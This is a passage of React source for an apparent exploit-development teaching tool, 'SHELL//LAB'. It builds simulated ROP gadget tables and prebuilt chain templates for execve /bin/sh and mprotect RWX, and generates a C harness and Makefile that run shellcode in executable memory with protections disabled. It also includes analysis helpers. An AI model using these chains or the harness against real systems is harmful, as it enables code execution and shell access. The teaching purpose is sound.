setRopSearch] = useState(""); const [ropFilter, setRopFilter] = useState("all"); const [ropSelected, setRopSelected] = useState(null); const [ropStackAddr, setRopStackAddr] = useState(0xBFFFF000); // Simulated gadget databases per architecture const ROP_GADGETS = useMemo(() => ({ x86: [ { addr: 0x080491a3, bytes: "5f c3", asm: "pop edi; ret", cat: "pop", regs: ["edi"], notes: "Load value into EDI" }, { addr: 0x080491a2, bytes: "5e c3", asm: "pop esi; ret", cat: "pop", regs: ["esi"], notes: "Load value into ESI" }, { addr: 0x080491a1, bytes: "5b c3", asm: "pop ebx; ret", cat: "pop", regs: ["ebx"], notes: "Load value into EBX (syscall arg1)" }, { addr: 0x080491a4, bytes: "59 c3", asm: "pop ecx; ret", cat: "pop", regs: ["ecx"], notes: "Load value into ECX (syscall arg2)" }, { addr: 0x080491a5, bytes: "5a c3", asm: "pop edx; ret", cat: "pop", regs: ["edx"], notes: "Load value into EDX (syscall arg3)" }, { addr: 0x080491a6, bytes: "58 c3", asm: "pop eax; ret", cat: "pop", regs: ["eax"], notes: "Load value into EAX (syscall number)" }, { addr: 0x080491b0, bytes: "5b 5e 5f c3", asm: "pop ebx; pop esi; pop edi; ret", cat: "multipop", regs: ["ebx","esi","edi"], notes: "Load 3 registers in one gadget" }, { addr: 0x080491c0, bytes: "31 c0 c3", asm: "xor eax, eax; ret", cat: "zero", regs: ["eax"], notes: "Zero EAX (for building syscall num)" }, { addr: 0x080491c4, bytes: "31 db c3", asm: "xor ebx, ebx; ret", cat: "zero", regs: ["ebx"], notes: "Zero EBX" }, { addr: 0x080491d0, bytes: "89 e3 c3", asm: "mov ebx, esp; ret", cat: "move", regs: ["ebx"], notes: "EBX = current stack pointer" }, { addr: 0x080491d4, bytes: "89 f9 c3", asm: "mov ecx, edi; ret", cat: "move", regs: ["ecx"], notes: "Copy EDI to ECX" }, { addr: 0x080491e0, bytes: "40 c3", asm: "inc eax; ret", cat: "arith", regs: ["eax"], notes: "Increment EAX (build syscall number)" }, { addr: 0x080491e4, bytes: "01 d8 c3", asm: "add eax, ebx; ret", cat: "arith", regs: ["eax"], notes: "Add EBX to EAX" }, { addr: 0x080491f0, bytes: "cd 80 c3", asm: "int 0x80; ret", cat: "syscall", regs: [], notes: "Execute syscall (x86 Linux)" }, { addr: 0x080491f4, bytes: "cd 80", asm: "int 0x80", cat: "syscall", regs: [], notes: "Syscall (no ret — end of chain)" }, { addr: 0x08049200, bytes: "c3", asm: "ret", cat: "ret", regs: [], notes: "Stack pivot / alignment" }, { addr: 0x08049210, bytes: "ff e4", asm: "jmp esp", cat: "jmp", regs: [], notes: "Jump to stack (if executable)" }, { addr: 0x08049220, bytes: "94 c3", asm: "xchg eax, esp; ret", cat: "pivot", regs: ["eax","esp"], notes: "Stack pivot via XCHG" }, { addr: 0x08049230, bytes: "87 ec c3", asm: "xchg esp, ebp; ret", cat: "pivot", regs: ["esp","ebp"], notes: "Stack pivot via EBP" }, { addr: 0x08049240, bytes: "8b 06 c3", asm: "mov eax, [esi]; ret", cat: "deref", regs: ["eax"], notes: "Dereference ESI pointer into EAX" }, { addr: 0x08049250, bytes: "89 03 c3", asm: "mov [ebx], eax; ret", cat: "write", regs: [], notes: "Write EAX to address in EBX" }, ], x64: [ { addr: 0x00401143, bytes: "5f c3", asm: "pop rdi; ret", cat: "pop", regs: ["rdi"], notes: "Load RDI (arg1 — System V)" }, { addr: 0x00401144, bytes: "5e c3", asm: "pop rsi; ret", cat: "pop", regs: ["rsi"], notes: "Load RSI (arg2)" }, { addr: 0x00401145, bytes: "5a c3", asm: "pop rdx; ret", cat: "pop", regs: ["rdx"], notes: "Load RDX (arg3)" }, { addr: 0x00401146, bytes: "58 c3", asm: "pop rax; ret", cat: "pop", regs: ["rax"], notes: "Load RAX (syscall number)" }, { addr: 0x00401147, bytes: "59 c3", asm: "pop rcx; ret", cat: "pop", regs: ["rcx"], notes: "Load RCX (arg4 in Windows)" }, { addr: 0x00401148, bytes: "41 5c c3", asm: "pop r12; ret", cat: "pop", regs: ["r12"], notes: "Load R12 (callee-saved scratch)" }, { addr: 0x00401150, bytes: "5f 5e 5a c3", asm: "pop rdi; pop rsi; pop rdx; ret", cat: "multipop", regs: ["rdi","rsi","rdx"], notes: "Load 3 syscall args at once" }, { addr: 0x00401160, bytes: "48 31 c0 c3", asm: "xor rax, rax; ret", cat: "zero", regs: ["rax"], notes: "Zero RAX" }, { addr: 0x00401164, bytes: "48 31 ff c3", asm: "xor rdi, rdi; ret", cat: "zero", regs: ["rdi"], notes: "Zero RDI" }, { addr: 0x00401170, bytes: "48 89 e7 c3", asm: "mov rdi, rsp; ret", cat: "move", regs: ["rdi"], notes: "RDI = stack pointer (string ref)" }, { addr: 0x00401174, bytes: "48 89 c6 c3", asm: "mov rsi, rax; ret", cat: "move", regs: ["rsi"], notes: "Copy RAX to RSI" }, { addr: 0x00401180, bytes: "48 ff c0 c3", asm: "inc rax; ret", cat: "arith", regs: ["rax"], notes: "Increment RAX" }, { addr: 0x00401190, bytes: "0f 05 c3", asm: "syscall; ret", cat: "syscall", regs: [], notes: "Execute syscall (x64 Linux)" }, { addr: 0x00401194, bytes: "0f 05", asm: "syscall", cat: "syscall", regs: [], notes: "Syscall (chain terminator)" }, { addr: 0x004011a0, bytes: "c3", asm: "ret", cat: "ret", regs: [], notes: "NOP-slide / alignment" }, { addr: 0x004011b0, bytes: "ff e4", asm: "jmp rsp", cat: "jmp", regs: [], notes: "Jump to stack" }, { addr: 0x004011c0, bytes: "48 89 34 24 c3", asm: "mov [rsp], rsi; ret", cat: "write", regs: [], notes: "Write RSI to top of stack" }, { addr: 0x004011d0, bytes: "48 8b 07 c3", asm: "mov rax, [rdi]; ret", cat: "deref", regs: ["rax"], notes: "Dereference RDI into RAX" }, ], arm32: [ { addr: 0x00010430, bytes: "00 80 bd e8", asm: "pop {pc}", cat: "ret", regs: [], notes: "ARM return (pop PC from stack)" }, { addr: 0x00010434, bytes: "04 b0 8d e2 00 80 bd e8", asm: "add r11, sp, #4; pop {pc}", cat: "pop", regs: ["r11"], notes: "Frame setup + return" }, { addr: 0x00010440, bytes: "30 40 bd e8", asm: "pop {r4, r5, pc}", cat: "multipop", regs: ["r4","r5"], notes: "Load R4, R5 and return" }, { addr: 0x00010444, bytes: "f0 41 bd e8", asm: "pop {r4, r5, r6, r7, r8, pc}", cat: "multipop", regs: ["r4","r5","r6","r7","r8"], notes: "Load R4-R8 (R7=syscall#) and return" }, { addr: 0x00010450, bytes: "00 00 00 ef", asm: "svc #0", cat: "syscall", regs: [], notes: "ARM syscall (supervisor call)" }, { addr: 0x00010454, bytes: "00 00 a0 e1", asm: "mov r0, r0 (nop)", cat: "ret", regs: [], notes: "ARM NOP — alignment" }, { addr: 0x00010460, bytes: "01 00 a0 e3 1e ff 2f e1", asm: "mov r0, #1; bx lr", cat: "arith", regs: ["r0"], notes: "Set R0=1 and return" }, { addr: 0x00010468, bytes: "00 00 a0 e3 1e ff 2f e1", asm: "mov r0, #0; bx lr", cat: "zero", regs: ["r0"], notes: "Zero R0 and return" }, { addr: 0x00010470, bytes: "07 00 a0 e1 1e ff 2f e1", asm: "mov r0, r7; bx lr", cat: "move", regs: ["r0"], notes: "Copy R7 to R0" }, { addr: 0x00010478, bytes: "04 00 a0 e1 1e ff 2f e1", asm: "mov r0, r4; bx lr", cat: "move", regs: ["r0"], notes: "Copy R4 to R0" }, { addr: 0x00010480, bytes: "0d 00 a0 e1 1e ff 2f e1", asm: "mov r0, sp; bx lr", cat: "move", regs: ["r0"], notes: "R0 = stack pointer (string ref)" }, { addr: 0x00010488, bytes: "00 00 84 e5 1e ff 2f e1", asm: "str r0, [r4]; bx lr", cat: "write", regs: [], notes: "Write R0 to [R4]" }, { addr: 0x00010490, bytes: "00 00 94 e5 1e ff 2f e1", asm: "ldr r0, [r4]; bx lr", cat: "deref", regs: ["r0"], notes: "Dereference [R4] into R0" }, ], arm64: [ { addr: 0x004005c0, bytes: "c0 03 5f d6", asm: "ret", cat: "ret", regs: [], notes: "AArch64 return (BR X30)" }, { addr: 0x004005d0, bytes: "fd 7b c1 a8 c0 03 5f d6", asm: "ldp x29, x30, [sp], #16; ret", cat: "pop", regs: ["x29","x30"], notes: "Restore frame and return" }, { addr: 0x004005e0, bytes: "01 00 00 d4", asm: "svc #0", cat: "syscall", regs: [], notes: "AArch64 syscall" }, { addr: 0x004005e8, bytes: "01 00 00 d4 c0 03 5f d6", asm: "svc #0; ret", cat: "syscall", regs: [], notes: "Syscall with return (chainable)" }, { addr: 0x004005f0, bytes: "e0 03 13 aa c0 03 5f d6", asm: "mov x0, x19; ret", cat: "move", regs: ["x0"], notes: "X0 = X19 (callee-saved scratch)" }, { addr: 0x004005f8, bytes: "e0 03 14 aa c0 03 5f d6", asm: "mov x0, x20; ret", cat: "move", regs: ["x0"], notes: "X0 = X20" }, { addr: 0x00400600, bytes: "e1 03 15 aa c0 03 5f d6", asm: "mov x1, x21; ret", cat: "move", regs: ["x1"], notes: "X1 = X21" }, { addr: 0x00400608, bytes: "e2 03 16 aa c0 03 5f d6", asm: "mov x2, x22; ret", cat: "move", regs: ["x2"], notes: "X2 = X22" }, { addr: 0x00400610, bytes: "e0 03 1f aa c0 03 5f d6", asm: "mov x0, xzr; ret", cat: "zero", regs: ["x0"], notes: "Zero X0 (via XZR)" }, { addr: 0x00400618, bytes: "e8 03 1f aa c0 03 5f d6", asm: "mov x8, xzr; ret", cat: "zero", regs: ["x8"], notes: "Zero X8 (syscall reg)" }, { addr: 0x00400620, bytes: "f3 53 c1 a8 f5 5b c2 a8 c0 03 5f d6", asm: "ldp x19,x20,[sp],#16; ldp x21,x22,[sp],#16; ret", cat: "multipop", regs: ["x19","x20","x21","x22"], notes: "Load 4 callee-saved regs" }, { addr: 0x00400630, bytes: "e0 07 40 f9 c0 03 5f d6", asm: "ldr x0, [sp, #8]; ret", cat: "deref", regs: ["x0"], notes: "Load X0 from stack" }, { addr: 0x00400638, bytes: "e0 03 00 91 c0 03 5f d6", asm: "mov x0, sp; ret", cat: "move", regs: ["x0"], notes: "X0 = stack pointer (string ref)" }, ], }), []); // ROP chain pre-built templates const ROP_TEMPLATES = useMemo(() => ({ x86: { "execve /bin/sh": [ { gadgetIdx: 5, value: 0x0b, label: "EAX = 11 (sys_execve)" }, { gadgetIdx: 2, value: 0x08049300, label: "EBX = &'/bin/sh'" }, { gadgetIdx: 3, value: 0x00, label: "ECX = NULL (argv)" }, { gadgetIdx: 4, value: 0x00, label: "EDX = NULL (envp)" }, { gadgetIdx: 14, value: null, label: "int 0x80 (trigger)" }, ], "mprotect RWX": [ { gadgetIdx: 5, value: 125, label: "EAX = 125 (sys_mprotect)" }, { gadgetIdx: 2, value: 0x08048000, label: "EBX = page addr" }, { gadgetIdx: 3, value: 0x1000, label: "ECX = length" }, { gadgetIdx: 4, value: 0x7, label: "EDX = 7 (RWX)" }, { gadgetIdx: 14, value: null, label: "int 0x80" }, ], }, x64: { "execve /bin/sh": [ { gadgetIdx: 3, value: 59, label: "RAX = 59 (sys_execve)" }, { gadgetIdx: 0, value: 0x00404300, label: "RDI = &'/bin/sh'" }, { gadgetIdx: 1, value: 0x00, label: "RSI = NULL (argv)" }, { gadgetIdx: 2, value: 0x00, label: "RDX = NULL (envp)" }, { gadgetIdx: 13, value: null, label: "syscall" }, ], "mprotect + jmp rsp": [ { gadgetIdx: 3, value: 10, label: "RAX = 10 (sys_mprotect)" }, { gadgetIdx: 0, value: 0x00400000, label: "RDI = page addr" }, { gadgetIdx: 1, value: 0x1000, label: "RSI = length" }, { gadgetIdx: 2, value: 0x7, label: "RDX = 7 (RWX)" }, { gadgetIdx: 12, value: null, label: "syscall; ret" }, { gadgetIdx: 15, value: null, label: "jmp rsp → shellcode" }, ], }, arm32: { "execve /bin/sh": [ { gadgetIdx: 3, value: 0x41414141, label: "pop R4-R8 (R7=11=execve)" }, { gadgetIdx: 10, value: null, label: "R0 = SP (string ptr)" }, { gadgetIdx: 7, value: null, label: "R0 already set" }, { gadgetIdx: 4, value: null, label: "svc #0 (trigger)" }, ], }, arm64: { "execve /bin/sh": [ { gadgetIdx: 10, value: null, label: "Load X19-X22 from stack" }, { gadgetIdx: 4, value: null, label: "X0=X19 → filename" }, { gadgetIdx: 8, value: null, label: "Zero X0 for setup" }, { gadgetIdx: 12, value: null, label: "X0 = SP (string ref)" }, { gadgetIdx: 3, value: null, label: "svc #0; ret" }, ], }, }), []); const addGadgetToChain = useCallback((gadget, value = 0x41414141) => { setRopChain(prev => [...prev, { gadget, value, id: Date.now() }]); }, []); const removeFromChain = useCallback((id) => { setRopChain(prev => prev.filter(e => e.id !== id)); }, []); const moveChainItem = useCallback((idx, dir) => { setRopChain(prev => { const arr = [...prev]; const newIdx = idx + dir; if (newIdx < 0 || newIdx >= arr.length) return arr; [arr[idx], arr[newIdx]] = [arr[newIdx], arr[idx]]; return arr; }); }, []); const updateChainValue = useCallback((id, newVal) => { setRopChain(prev => prev.map(e => e.id === id ? { ...e, value: newVal } : e)); }, []); const loadRopTemplate = useCallback((name) => { const templates = ROP_TEMPLATES[arch]; const gadgets = ROP_GADGETS[arch]; if (!templates?.[name] || !gadgets) return; const chain = templates[name].map(item => ({ gadget: gadgets[item.gadgetIdx] || gadgets[0], value: item.value ?? 0x41414141, label: item.label, id: Date.now() + Math.random(), })); setRopChain(chain); }, [arch, ROP_TEMPLATES, ROP_GADGETS]); // ═══ HARNESS STATE ═══ const [harnessInput, setHarnessInput] = useState(""); const [harnessFormat, setHarnessFormat] = useState("elf"); // Generate harness code const generateHarness = useCallback((scBytes) => { const bytes = parseHexInput(scBytes || harnessInput); if (!bytes.length) return null; const hexStr = bytes.map(b => "\\x" + b.toString(16).padStart(2, "0")).join(""); const is64 = arch === "x64" || arch === "arm64"; const archFlag = arch === "x64" ? "elf64" : arch === "x86" ? "elf32" : arch === "arm32" ? "" : ""; const ldArch = arch === "x64" ? "elf_x86_64" : arch === "x86" ? "elf_i386" : "armelf_linux_eabi"; const nasmSource = `; shellcode.asm — ${ARCHS[arch].name} ; Assemble: nasm -f ${archFlag} shellcode.asm -o shellcode.o ; Link: ld ${is64 ? "" : "-m " + ldArch + " "}shellcode.o -o shellcode ; Test: ./shellcode section .text global _start _start: ; === Shellcode payload === db ${bytes.map(b => "0x" + b.toString(16).padStart(2, "0")).join(", ")}`; const cWrapper = `/* * shellcode_test.c — Shellcode Testing Harness * Architecture: ${ARCHS[arch].name} (${ARCHS[arch].bits}-bit) * Payload size: ${bytes.length} bytes * * Compile (${arch === "x64" ? "64-bit" : "32-bit"}): * gcc ${is64 ? "" : "-m32 "}-z execstack -fno-stack-protector \\ * -o shellcode_test shellcode_test.c * * Or with mmap (no execstack needed): * gcc ${is64 ? "" : "-m32 "}-o shellcode_test shellcode_test.c */ #include #include #include unsigned char shellcode[] = "${hexStr}"; int main(int argc, char **argv) { printf("[*] SHELL//LAB Test Harness\\n"); printf("[*] Architecture: ${ARCHS[arch].name}\\n"); printf("[*] Shellcode length: %lu bytes\\n", sizeof(shellcode) - 1); /* Check for null bytes */ int nulls = 0; for (size_t i = 0; i < sizeof(shellcode) - 1; i++) { if (shellcode[i] == 0x00) nulls++; } if (nulls > 0) printf("[!] WARNING: %d null byte(s) detected\\n", nulls); else printf("[+] No null bytes — clean payload\\n"); /* Allocate RWX memory */ void *exec = mmap(NULL, sizeof(shellcode), PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); if (exec == MAP_FAILED) { perror("[-] mmap failed"); return 1; } /* Copy shellcode to executable memory */ memcpy(exec, shellcode, sizeof(shellcode) - 1); printf("[*] Shellcode mapped at: %p\\n", exec); printf("[*] Executing...\\n\\n"); /* Cast to function pointer and execute */ ((void(*)())exec)(); /* If we get here, shellcode returned */ printf("\\n[*] Shellcode returned cleanly\\n"); return 0; }`; const makefile = `# Makefile — SHELL//LAB Shellcode Build Pipeline # Architecture: ${ARCHS[arch].name} ARCH = ${arch === "x64" ? "elf64" : "elf32"} LDARCH = ${ldArch} CC = gcc NASM = nasm LD = ld CFLAGS = ${is64 ? "" : "-m32 "}-z execstack -fno-stack-protector -no-pie OBJDUMP = objdump .PHONY: all clean test extract all: shellcode shellcode_test # Assemble raw shellcode shellcode.o: shellcode.asm \t$(NASM) -f $(ARCH) $< -o $@ shellcode: shellcode.o \t$(LD) ${is64 ? "" : "-m $(LDARCH) "}$< -o $@ # Build C test harness shellcode_test: shellcode_test.c \t$(CC) $(CFLAGS) -o $@ $< # Extract raw bytes from assembled binary extract: shellcode \t@echo "[*] Extracting .text section..." \t@objcopy -O binary -j .text shellcode shellcode.bin \t@xxd -i shellcode.bin | head -20 \t@echo "[*] Raw bytes in shellcode.bin" \t@echo "[*] Hex dump:" \t@xxd shellcode.bin \t@echo "[*] Size: $$(wc -c < shellcode.bin) bytes" # Disassemble disasm: shellcode \t$(OBJDUMP) -d -M intel shellcode # Check for null bytes nullcheck: shellcode.bin \t@echo "[*] Null byte scan:" \t@if grep -cP '\\x00' shellcode.bin > /dev/null 2>&1; then \\ \t\techo "[!] NULL BYTES FOUND:"; \\ \t\txxd shellcode.bin | grep ' 00'; \\ \telse \\ \t\techo "[+] No null bytes detected"; \\ \tfi # Run shellcode in test harness test: shellcode_test \t@echo "[*] Running shellcode test harness..." \t./shellcode_test clean: \trm -f shellcode shellcode.o shellcode_test shellcode.bin`; const objdumpSim = `$ nasm -f ${archFlag} shellcode.asm -o shellcode.o $ ld ${is64 ? "" : "-m " + ldArch + " "}shellcode.o -o shellcode $ objdump -d -M intel shellcode shellcode: file format ${is64 ? "elf64-x86-64" : "elf32-i386"} Disassembly of section .text: ${(CODE_BASE).toString(16).padStart(8, "0")} <_start>: ${bytes.map((b, i) => { const addr = CODE_BASE + i; return " " + addr.toString(16) + ":\t" + b.toString(16).padStart(2, "0"); }).join("\n")} $ objcopy -O binary -j .text shellcode shellcode.bin $ xxd shellcode.bin 00000000: ${bytes.slice(0, 16).map(b => b.toString(16).padStart(2, "0")).join(" ")} ${bytes.slice(0, 16).map(b => b >= 0x20 && b < 0x7f ? String.fromCharCode(b) : ".").join("")} ${bytes.length > 16 ? "00000010: " + bytes.slice(16, 32).map(b => b.toString(16).padStart(2, "0")).join(" ") + " " + bytes.slice(16, 32).map(b => b >= 0x20 && b < 0x7f ? String.fromCharCode(b) : ".").join("") : ""} $ wc -c shellcode.bin ${bytes.length} shellcode.bin $ echo "[+] ${bytes.length} bytes, ${bytes.filter(b => b === 0).length} null bytes"`; return { nasmSource, cWrapper, makefile, objdumpSim, bytes, hexStr }; }, [arch, harnessInput, parseHexInput]); // ═══ ANALYSIS ENGINE (Phase 6) ═══ const [anaCode, setAnaCode] = useState(""); const [anaParsed, setAnaParsed] = useState(null); const [anaLabels, setAnaLabels] = useState({}); const [anaAnnotations, setAnaAnnotations] = useState({}); const [anaEditingNote, setAnaEditingNote] = useState(null); const [anaNoteText, setAnaNoteText] = useState(""); const [anaView, setAnaView] = useState("cfg"); // cfg, decomp, strings, listing const anaLoad = useCallback((code) => { const src = code || anaCode; if (!src.trim()) return; const { instructions, labels } = parseAsmLines(src, arch); setAnaParsed(instructions); setAnaLabels(labels); }, [anaCode, arch]); // Build basic blocks for CFG const buildCFG = useCallback((parsed, labels) => { if (!parsed) return []; const instrs = parsed.filter(p => p.type === "instr"); if (!instrs.length) return []; const flowOps = ["jmp","je","jz","jne","jnz","jg","jl","jge","jle","ja","jb","jae","jbe","js","jns","jnle","jnge","jnbe","jnae","call","b","bl","beq","bne","bgt","blt","bge","ble","b.eq","b.ne","cbz","cbnz","loop"]; const termOps = ["ret","bx","int","syscall","svc","jmp","b"]; const condJumps = ["je","jz","jne","jnz","jg","jl","jge","jle","ja","jb","jae","jbe","js","jns","jnle","jnge","jnbe","jnae","beq","bne","bgt","blt","bge","ble","b.eq","b.ne","cbz","cbnz","loop"]; // Find block boundaries — a new block starts after a branch, at a branch target, or at a label const blockStarts = new Set([0]); const labelToIdx = {}; // Map labels to instruction indices let instrIdx = 0; parsed.forEach(p => { if (p.type === "label") labelToIdx[p.name] = instrIdx; if (p.type === "instr") instrIdx++; }); instrs.forEach((inst, i) => { if (flowOps.includes(inst.op)) { if (i + 1 < instrs.length) blockStarts.add(i + 1); // fall-through const target = cleanOp(inst.operands?.[0])?.replace("short ", ""); if (labelToIdx[target] !== undefined) blockStarts.add(labelToIdx[target]); } }); const sortedStarts = [...blockStarts].sort((x, y) => x - y); const blocks = []; for (let si = 0; si < sortedStarts.length; si++) { const start = sortedStarts[si]; const end = si + 1 < sortedStarts.length ? sortedStarts[si + 1] - 1 : instrs.length - 1; const blockInstrs = instrs.slice(start, end + 1); const lastInstr = blockInstrs[blockInstrs.length - 1]; // Find label name for this block let blockLabel = null; for (const [name, idx] of Object.entries(labelToIdx)) { if (idx === start) { blockLabel = name; break; } } if (!blockLabel) blockLabel = "block_" + start; // Determine successors const successors = []; if (lastInstr) { const op = lastInstr.op; const target = cleanOp(lastInstr.operands?.[0])?.replace("short ", ""); if (condJumps.includes(op)) { // Conditional: both target and fall-through if (labelToIdx[target] !== undefined) successors.push({ target: labelToIdx[target], type: "branch" }); if (end + 1 < instrs.length) successors.push({ target: end + 1, type: "fallthrough" }); } else if (op === "jmp" || op === "b") { if (labelToIdx[target] !== undefined) successors.push({ target: labelToIdx[target], type: "jump" }); } else if (termOps.includes(op) && op !== "call") { // Terminal — no successors (ret, syscall without ret) } else { if (end + 1 < instrs.length) successors.push({ target: end + 1, type: "fallthrough" }); } if (op === "call") { if (end + 1 < instrs.length) successors.push({ target: end + 1, type: "fallthrough" }); } } blocks.push({ id: si, label: blockLabel, start, end, instrs: blockInstrs, successors, isEntry: start === 0, isExit: !successors.length || lastInstr?.op === "ret" || lastInstr?.op === "int" || lastInstr?.op === "syscall" || lastInstr?.op === "svc", }); } return blocks; }, []); // Decompile to pseudo-C const decompileToC = useCallback((parsed, labels) => { if (!parsed) return ""; const instrs = parsed.filter(p => p.type === "instr"); const lines = []; const labelToIdx = {}; let instrIdx = 0; parsed.forEach(p => { if (p.type === "label") labelToIdx[p.name] = instrIdx; if (p.type === "instr") instrIdx++; }); lines.push(`// Pseudo-C decompilation — ${ARCHS[arch].name}`); lines.push(`// Generated by SHELL//LAB Analyzer`); lines.push(`// WARNING: Approximate — review manually\n`); lines.push(`#include `); lines.push(`#include \n`); lines.push(`void shellcode() {`); const indent = " "; let prevLabel = null; parsed.forEach((p, i) => { if (p.type === "label") { lines.push(`\n${p.name}:`); prevLabel = p.name; return; } if (p.type === "meta") return; if (p.type !== "instr") return; const { op, operands } = p; const dst = cleanOp(operands?.[0]); const src = cleanOp(operands?.[1]); const srcVal = !isNaN(parseImm(src)) ? "0x" + (parseImm(src) >>> 0).toString(16) : src; let cLine = ""; const comment = anaAnnotations[i] ? ` // ${anaAnnotations[i]}` : ""; switch (op) { case "mov": case "movl": case "movq": case "movabs": cLine = `${indent}${dst} = ${srcVal};${comment}`; break; case "xor": case "eor": if (dst === src) cLine = `${indent}${dst} = 0;${comment} // xor ${dst}, ${dst}`; else cLine = `${indent}${dst} ^= ${srcVal};${comment}`; break; case "add": case "addl": case "addq": cLine = `${indent}${dst} += ${srcVal};${comment}`; break; case "sub": case "subl": case "subq": cLine = `${indent}${dst} -= ${srcVal};${comment}`; break; case "and": case "andl": cLine = `${indent}${dst} &= ${srcVal};${comment}`; break; case "or": case "orl": case "orr": cLine = `${indent}${dst} |= ${srcVal};${comment}`; break; case "not": cLine = `${indent}${dst} = ~${dst};${comment}`; break; case "neg": cLine = `${indent}${dst} = -${dst};${comment}`; break; case "shl": case "sal": cLine = `${indent}${dst} <<= ${srcVal || "1"};${comment}`; break; case "shr": cLine = `${indent}${dst} >>= ${srcVal || "1"}; // unsigned${comment}`; break; case "inc": cLine = `${indent}${dst}++;${comment}`; break; case "dec": cLine = `${indent}${dst}--;${comment}`; break; case "push": cLine = `${indent}*--sp = ${dst.startsWith("0") ? dst : dst};${comment} // push ${dst}`; break; case "pop": cLine = `${indent}${dst} = *sp++;${comment} // pop ${dst}`; break; case "lea": cLine = `${indent}${dst} = &${src};${comment} // lea`; break; case "cmp": case "cmpl": cLine = `${indent}// cmp ${dst}, ${srcVal} → sets flags${comment}`; break; case "test": case "testl": cLine = `${indent}// test ${dst}, ${srcVal} → sets flags (AND)${comment}`; break; case "je": case "jz": cLine = `${indent}if (ZF) goto ${dst};${comment}`; break; case "jne": case "jnz": cLine = `${indent}if (!ZF) goto ${dst};${comment}`; break; case "jg": case "jnle": cLine = `${indent}if (a > b) goto ${dst};${comment} // signed`; break; case "jl": case "jnge": cLine = `${indent}if (a < b) goto ${dst};${comment} // signed`; break; case "ja": case "jnbe": cLine = `${indent}if (a > b) goto ${dst};${comment} // unsigned`; break; case "jb": case "jnae": cLine = `${indent}if (a < b) goto ${dst};${comment} // unsigned`; break; case "jmp": case "b": cLine = `${indent}goto ${dst};${comment}`; break; case "call": case "bl": cLine = `${indent}${dst}();${comment}`; break; case "ret": cLine = `${indent}return;${comment}`; break; case "nop": cLine = `${indent}// nop${comment}`; break; case "loop": cLine = `${indent}if (--ecx) goto ${dst};${comment}`; break; case "int": if (dst === "0x80") { const sysNum = "eax"; cLine = `${indent}syscall(${sysNum}, ebx, ecx, edx);${comment} // int 0x80`; } else cLine = `${indent}interrupt(${dst});${comment}`; break; case "syscall": cLine = `${indent}syscall(rax, rdi, rsi, rdx, r10, r8, r9);${comment}`; break; case "svc": cLine = `${indent}svc(${arch === "arm64" ? "x8, x0, x1, x2" : "r7, r0, r1, r2"});${comment}`; break; case "mul": case "imul": cLine = `${indent}eax *= ${dst};${comment}`; break; case "div": cLine = `${indent}eax = eax / ${dst}; edx = eax % ${dst};${comment}`; break; case "xchg": cLine = `${indent}swap(${dst}, ${src});${comment}`; break; default: cLine = `${indent}// ${op} ${(operands || []).join(", ")}${comment}`; } lines.push(cLine); }); lines.push(`}`); return lines.join("\n"); }, [arch, anaAnnotations]); // Extract string references from shellcode templates const extractStrings = useCallback((parsed) => { if (!parsed) return []; const strings = []; parsed.forEach((p, i) => { if (p.type === "meta" && (p.raw.includes("db ") || p.raw.includes(".ascii") || p.raw.includes(".string"))) { const match = p.raw.match(/(?:db\s+|\.ascii\s+|\.string\s+)["']([^"']+)["']/); if (match) strings.push({ index: i, value: match[1], type: "string", raw: p.raw.trim() }); } // Detect stack string construction via push immediates if (p.type === "instr" && p.op === "push" && p.operands?.[0]) { const val = parseImm(cleanOp(p.operands[0])); if (!isNaN(val) && val > 0x20202020 && val <= 0x7f7f7f7f) { // Looks like ASCII bytes const chars = []; for (let shift = 0; shift < 32; shift += 8) { const ch = (val >> shift) & 0xFF; if (ch >= 0x20 && ch < 0x7f) chars.push(String.fromCharCode(ch)); } if (chars.length >= 2) { strings.push({ index: i, value: chars.join(""), type: "stack_push", raw: `push 0x${val.toString(16)} → "${chars.join("")}"` }); } } } // Detect movabs with string-like values (x64) if (p.type === "instr" && (p.op === "mov" || p.op === "movabs") && p.operands?.[1]) { const val = parseImm(cleanOp(p.operands[1])); if (!isNaN(val) && val > 0x2020202020 && val !== 0) { const chars = []; let v = val; for (let j = 0; j < 8; j++) { const ch = v & 0xFF; if (ch >= 0x20 && ch < 0x7f) chars.push(String.fromCharCode(ch)); v = Math.floor(v / 256); } if (chars.length >= 3) { strings.push({ index: i, value: chars.join(""), type: "mov_imm", raw: `${p.op} ${p.operands.join(", ")} → "${chars.join("")}"` }); } } } }); // Also scan for syscall patterns parsed.forEach((p, i) => { if (p.type === "instr" && (p.op === "int" || p.op === "syscall" || p.op === "svc")) { strings.push({ index: i, value: `[SYSCALL @ 0x${(CODE_BASE + i * 4).toString(16)}]`, type: "syscall", raw: p.op + " " + (p.operands || []).join(", ") }); } }); return strings; }, []); // Analysis demo programs const ANA_DEMOS = useMemo(() => ({ x86: { "execve /bin/sh": ARCHS.x86.shellcodeTemplates["execve(/bin/sh)"]?.asm || "", "write + exit": ARCHS.x86.shellcodeTemplates["write(1, msg, len)"]?.asm || "", "loop example": `; Loop counter example mov ecx, 5 xor eax, eax loop_top: add eax, 1 dec ecx jnz loop_top ; eax = 5 xor ebx, ebx mov bl, al xor eax, eax mov al, 1 int 0x80`, }, x64: { "execve null-free": ARCHS.x64.shellcodeTemplates["execve (null-free)"]?.asm || "", "write + exit": ARCHS.x64.shellcodeTemplates["write(1, msg, len)"]?.asm || "", }, arm32: { "execve thumb": ARCHS.arm32.shellcodeTemplates["execve(/bin/sh) Thumb"]?.asm || "", "write + exit": ARCHS.arm32.shellcodeTemplates["write(1, msg, len)"]?.asm || "", "setuid+execve": ARCHS.arm32.shellcodeTemplates["setuid(0)+execve"]?.asm || "", }, arm64: { "execve": ARCHS.arm64.shellcodeTemplates["execve(/bin/sh)"]?.asm || "", "write + exit": ARCHS.arm64.shellcodeTemplates["write(1, msg, 2)"]?.asm || "", "setuid+execve": ARCHS.arm64.shellcodeTemplates["setuid+execve"]?.asm || "", }, }), []); const templates = a.shellcodeTemplates || {}; const templateKeys = Object.keys(templates); const currentTemplate = selTemplate && templates[selTemplate] ? templates[selTemplate] : null; const currentLesson = LESSONS[selLesson]; const archExercises = EXERCISES.filter(e => e.arch === arch || e.arch === "any"); const currentExercise = archExercises[selExercise] || EXERCISES[selExercise]; useEffect(() => { setSelTemplate(templateKeys[0] || null); setSubTab(null); }, [arch]); useEffect(() => { setLessonSection(0); }, [selLesson]); useEffect(() => { setShowAnswer(false); }, [selExercise]); const addConsole = (text, type = "info") => { setConsoleOut(prev => [...prev.slice(-50), { text, type, ts: Date.now() }]); }; const runAssemble = () => { addConsole(`$ nasm -f 